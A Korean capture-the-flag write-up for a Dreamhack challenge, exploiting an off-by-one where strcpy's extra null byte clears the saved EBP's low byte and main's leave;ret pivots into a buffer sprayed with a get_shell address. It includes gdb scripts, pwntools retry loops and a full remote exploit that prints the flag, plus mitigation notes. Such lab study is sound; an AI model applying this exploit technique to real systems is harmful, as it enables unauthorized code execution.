read 는 널을 붙이지 않고 strcpy 는 널까지 복사한다. 이 어긋남을 이용해 256바이트를 가득 채우면 257번째 널이 저장된 EBP 의 최하위 바이트로 새어 들어간다. 한 바이트가 0이 되면서 프레임 포인터가 0x100 아래로 정렬되고, main 의 leave; ret 이 우리가 뿌려둔 get_shell 로 착지한다. 정렬에 따라 확률적이라 셸이 뜰 때까지 재시도했다.
한 바이트짜리 오버플로우로 뭘 할 수 있냐고 물으면 보통 인접 변수 하나를 뒤집는 그림을 떠올린다. 같은 계열의 off_by_one_001 이 딱 그런 문제였다. 넘친 한 바이트가 바로 옆 int 를 0으로 만들어 분기를 뒤집는 식이었다.
이번 000 은 결이 조금 다르다. 넘치는 한 바이트가 하필 저장된 EBP 위로 떨어진다. 값 하나를 바꾸는 게 아니라 스택 프레임 자체를 옮겨버리는 쪽이다. 그래서 리턴 주소를 직접 덮지 않고도, 함수가 정상적으로 돌아나가는 leave; ret 을 이용해 흐름을 훔쳐온다.
풀이 흐름은 짧다. read 로 전역 버퍼를 널 없이 가득 채우고, strcpy 가 그 널 없는 문자열을 스택 버퍼로 옮기면서 딱 한 바이트를 흘린다. 그 한 바이트가 저장된 EBP 의 끝을 0으로 만들고, main 이 돌아나갈 때 그 EBP 로 스택을 되짚으며 우리가 심어둔 주소로 점프한다.
이제 왜 그 한 바이트가 새는지, 그게 왜 하필 EBP 로 떨어지는지, 그리고 왜 항상 성공하지는 않는지를 순서대로 본다.
🧩 배경 — read 와 strcpy 의 널 처리가 다르다
이 문제는 딱 두 함수의 성격 차이 위에 서 있다.
read(0, buf, n) 은 바이트 스트림을 그대로 n 개까지 옮긴다. 문자열 함수가 아니라서 끝에 \0 을 붙이지 않는다. 우리가 256바이트를 보내면 256바이트만 정확히 쓰고 끝이다.
objdump 로 본 cpy() — real_name 은 ebp-0x100, strcpy 로 cp_name 복사
핵심 세 줄만 짚으면 된다.
sub esp, 0x100 ; real_name[256] 를 [ebp-0x100] 에 확보lea eax, [ebp-0x100] ; dst = real_namecall strcpy@plt ; src = cp_name, 널까지 복사
real_name 이 [ebp-0x100] 에서 시작해 256바이트다. 그러면 real_name[255] 이 [ebp-1] 이고, **real_name[256] 은 정확히 [ebp] — 저장된 EBP 의 첫 바이트(최하위)**다. strcpy 가 흘리는 257번째 널 한 개가 여기로 떨어진다. 리턴 주소([ebp+4])는 손도 못 대지만, 저장된 EBP 는 끝자락이 0으로 지워진다.
그럼 그 지워진 EBP 가 어디서 쓰이길래 흐름을 훔칠 수 있을까. main 쪽 디스어셈블리를 보면 답이 나온다.
objdump 로 본 main() — read(cp_name,0x100) 뒤 cpy 호출, 끝에서 leave;ret
main 은 read 로 cp_name 에 0x100(256) 바이트를 받고 cpy 를 부른다. 그리고 마지막에 자기도 leave; ret 로 끝난다. 바로 이 leave; ret 이 무대다.cpy 에서 지운 EBP 가 main 의 프레임 포인터로 흘러들어와, main 이 돌아나갈 때 그 값으로 스택을 되짚기 때문이다.
💣 핵심 — 저장된 EBP 의 LSB 를 지운다
말로만 하면 미덥지 않으니 gdb 로 실제로 밟아봤다. cpy 의 strcpy 직전과 직후, 그리고 main 복귀 시점에 저장된 EBP 값을 찍는 스크립트다.
# runtime_show.gdb: strcpy 전/후로 저장된 main-ebp 를 관찰break *0x8048661 # strcpy 직전break *0x804866e # strcpy 직후 (cpy leave 직전)break *0x804869e # cpy ret 후 mainrun < payload.bin # payload = p32(0x080485db) * 64
gdb 런타임 확인 — 저장된 EBP 가 0xff..cbe8 에서 0xff..cb00 으로 LSB 가 0x00 이 됨
정확히 예상대로다.
strcpy 직전: 저장된 main-ebp = 0xffffcbe8
strcpy 직후: 저장된 main-ebp = 0xffffcb00 — 최하위 바이트 0xe8 이 0x00 으로 지워졌다
cpy ret 후 main: ebp = 0xffffcb00 — 오염된 값이 그대로 main 의 프레임 포인터가 됐다
여기서부터가 이 문제의 묘미다. cpy 의 leave 는 pop ebp 로 이 오염된 값을 main 의 EBP 에 넣고, ret 은 리턴 주소(멀쩡함)로 main 에 돌아간다. 그런데 main 도 끝에서 leave; ret 을 한다. 이때 main 의 EBP 는 이미 0xffffcb00 으로 오염돼 있다.
; main 의 마지막leave ; mov esp, ebp ; pop ebp → esp = 0xffffcb00 (LSB 잘린 값)ret ; eip = *(esp+4) → 그 자리에 뭐가 있느냐가 곧 흐름
leave 가 esp 를 오염된 EBP(0xffffcb00)로 끌어내린다. 원래 EBP 보다 최대 255바이트 아래, 0x100 경계로 정렬된 지점이다. 그리고 ret 이 [esp+4] 를 리턴 주소로 꺼낸다. 그 자리는 방금 우리가 real_name 을 채웠던 스택 영역 안이다.
스택 프레임과 off-by-one, 그리고 main leave;ret 스택 피벗 흐름
그래서 페이로드를 get_shell 주소로 256바이트 전부 도배한다. 피벗이 버퍼 안 어디로 떨어지든, 4바이트 정렬만 맞으면 [esp+4] 에서 0x080485db 를 집어 든다. 0x080485db 는 바이트에 널이 없어(db 85 04 08) read·strcpy 어느 쪽에서도 잘리지 않는다.
256바이트를 정확히 보낸다 — 덜 보내면 read 가 남긴 이전 널이 섞여 strcpy 가 일찍 끊긴다.
그 256바이트에 널이 없어야 한다 — get_shell 주소 반복이 이 조건을 자동으로 만족한다.
개행 없이 send 로 보낸다 — sendline 은 \n 을 붙여 257바이트가 되고, 그 \n(0x0a) 이 버퍼를 어긋나게 한다.
한 가지 솔직하게 적어둘 게 있다. 이 기법은 항상 성공하지 않는다.
피벗 지점은 main 의 EBP 하위 바이트에 좌우되는데, 그 값은 스택 ASLR 때문에 실행마다 달라진다. 하필 나쁜 값이면 [esp+4] 가 버퍼 밖이나 엉뚱한 곳을 가리켜 크래시가 난다. 그래서 셸이 뜰 때까지 재시도하는 게 정석이다.
▶🐛 삽질 — printf 가 피벗 자리를 덮어써서 헤맸다
처음엔 "버퍼를 도배했으니 무조건 되겠지" 하고 로컬에서 돌렸는데 계속 크래시가 났다. gdb 로 ASLR 을 끄고 보니, cpy 가 리턴한 뒤 main 의 두 번째 printf("Name: %s", cp_name) 이 피벗이 착지할 스택 영역을 그대로 덮어쓰고 있었다.
cpy 직후엔 피벗 예정지 [ebp&~0xff]+4 에 0x080485db 가 멀쩡히 있었는데, printf 를 지나고 나면 그 자리가 printf 내부 찌꺼기로 바뀌어 있곤 했다. 도배한 값이 리턴 직전에 지워지니 셸이 안 열린다.
핵심은 printf 가 덮는 구간이 버퍼 기준 대략 고정된 오프셋(0x28~0x3b 부근) 이라는 점이다. 피벗 지점(0x10c - (ebp&0xff))이 그 구간에 겹치면 실패, 비켜나면 성공이다. 재미있는 건 이 덮임이 ASLR 을 꺼도 완전히 결정적이지 않다는 것 — glibc printf 의 내부 스택 사용이 그때그때 남기는 값에 달려 있어, 같은 조건에서도 성공/실패가 갈렸다. 결국 "확률적, 재시도"가 맞는 접근이었다.
말이 아니라 숫자로 확인하고 싶어서, 로컬에서 같은 페이로드로 30번 돌려 성공/실패를 세어봤다.
# measure_prob.py — 30회 반복해 셸(O) / 크래시(.) 를 센다from pwn import *context.arch = 'i386'; context.log_level = 'error'payload = p32(0x080485db) * 64N, ok = 30, 0; line = ''for i in range(N): io = process('./extracted/off_by_one_000') io.recvuntil(b'Name: '); io.send(payload) io.recvuntil(b'Name: ', timeout=1) io.sendline(b'echo WIN') d = io.recvrepeat(0.4); io.close() hit = (b'WIN' in d); ok += hit line += 'O' if hit else '.'print('결과:', line)print(f'셸 획득: {ok}/{N} (약 {ok*100//N}%) → O=셸, .=크래시')
로컬 30회 측정 — 셸과 크래시가 섞여 나오는 확률적 결과
O 와 . 가 뒤섞여 나온다. 회차마다 성공률은 출렁이지만(대략 20~50%), 요점은 분명하다. 한 번에 안 되면 다시 붙으면 된다. 원격도 같은 원리라, 셸이 뜰 때까지 새로 연결하면 그만이다.
그전에 로컬에서 재시도 루프로 셸이 실제로 뜨는지부터 확인했다.
# demo_local.py — 셸이 뜰 때까지 재시도from pwn import *context.arch = 'i386'; context.log_level = 'error'payload = p32(0x080485db) * 64for attempt in range(1, 60): io = process('./extracted/off_by_one_000') io.recvuntil(b'Name: ') io.send(payload) # 정확히 256B, 개행 없이 io.recvuntil(b'Name: ', timeout=1) # 두번째 "Name: %s" 잔여물 흡수 io.sendline(b'echo === SHELL attempt=%d ===; id' % attempt) try: io.recvuntil(b'=== SHELL', timeout=1) out = b'=== SHELL' + io.recvrepeat(0.5) except EOFError: io.close(); continue io.close() print(out.decode(errors='replace').strip()) break
로컬 재시도 — 7번째 시도에서 셸 획득, uid 출력
7번째 시도에서 /bin/sh 가 열리고 id 가 돌았다. 기법이 맞다는 게 확인됐으니 원격도 같은 방식이다.
🚀 Full Exploit
로컬과 원격을 한 파일로 묶었다. 원격은 연결마다 새로 접속해서, 셸이 열리면 곧장 id 와 cat /flag* 를 흘려보낸다.
#!/usr/bin/env python3# off_by_one_000 — saved-EBP LSB NULL off-by-one → main leave;ret 스택 피벗import sysfrom pwn import *context.arch = 'i386'GET_SHELL = 0x080485db # get_shell(): system("/bin/sh")payload = p32(GET_SHELL) * 64 # 256B, 널 없음assert len(payload) == 256 and b'\x00' not in payloadif sys.argv[1:] == ['remote']: context.log_level = 'error' HOST, PORT = 'host3.dreamhack.games', 24227 for attempt in range(80): try: io = remote(HOST, PORT, timeout=5) io.recvuntil(b'Name: ', timeout=3) io.send(payload) io.recvuntil(b'Name: ', timeout=2) # 두번째 "Name: %s" 흡수 io.sendline(b'echo ==SHELL==; id; cat /flag*; cat flag*') data = io.recvrepeat(1.5) io.close() except Exception: continue if b'==SHELL==' in data or b'DH{' in data: print(f'[+] got shell on attempt {attempt}') print('==SHELL==') print(data.split(b'==SHELL==', 1)[-1].decode(errors='replace').strip()) breakelse: io = process('./extracted/off_by_one_000') io.recvuntil(b'Name: '); io.send(payload) io.interactive()
원격 익스플로잇 — 셸 획득 후 id 와 flag 출력
이번엔 첫 연결에서 바로 붙었다.
[+] got shell on attempt 0==SHELL==uid=1000(off_by_one_000) gid=1000(off_by_one_000) groups=1000(off_by_one_000)DH{fef043d0dbe030d01756c23b78a660ae}
📝 결론
한 바이트의 위치가 전부다.
같은 off-by-one 이라도 넘치는 바이트가 어디로 떨어지느냐에 따라 결과가 완전히 달라진다. 001 에서는 그 바이트가 int age 를 0으로 만들어 분기 하나를 뒤집었고, 000 에서는 저장된 EBP 를 지워 프레임 전체를 옮겼다. 인접한 게 데이터냐 포인터냐의 차이다.
read 와 문자열 함수를 섞지 않는다.
근본 원인은 read 로 채운 비종단 버퍼를 strcpy 에 그대로 넘긴 것이다. read 가 읽은 길이를 기억해 직접 \0 을 붙이거나, 애초에 길이를 강제하는 strncpy 계열을 썼다면 257번째 바이트는 새어나가지 못했다. 문자열 API 는 "널이 반드시 있다"를 전제하는데, read 는 그 전제를 만들어주지 않는다.
버퍼와 저장된 레지스터 사이에 여백을 둔다.
real_name[256] 이 저장된 EBP 에 딱 붙어 있어서 오프셋 계산 없이도 한 바이트가 정확히 프레임 포인터를 때렸다. 스택 카나리가 있었다면 이 사이에 끼어들어 오버플로우를 먼저 잡아냈을 것이다. No canary 라는 한 줄이 그래서 크다.
확률적 익스플로잇도 익스플로잇이다.
"한 방"의 쾌감은 없지만, 성공 확률이 0이 아니면 재시도로 메우면 된다. 오히려 프레임 포인터 하나를 흔들어 흐름을 가져오는 감각 — 리턴 주소를 직접 못 덮어도 우회로가 있다는 것 — 을 익히기엔 딱 좋은 문제였다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…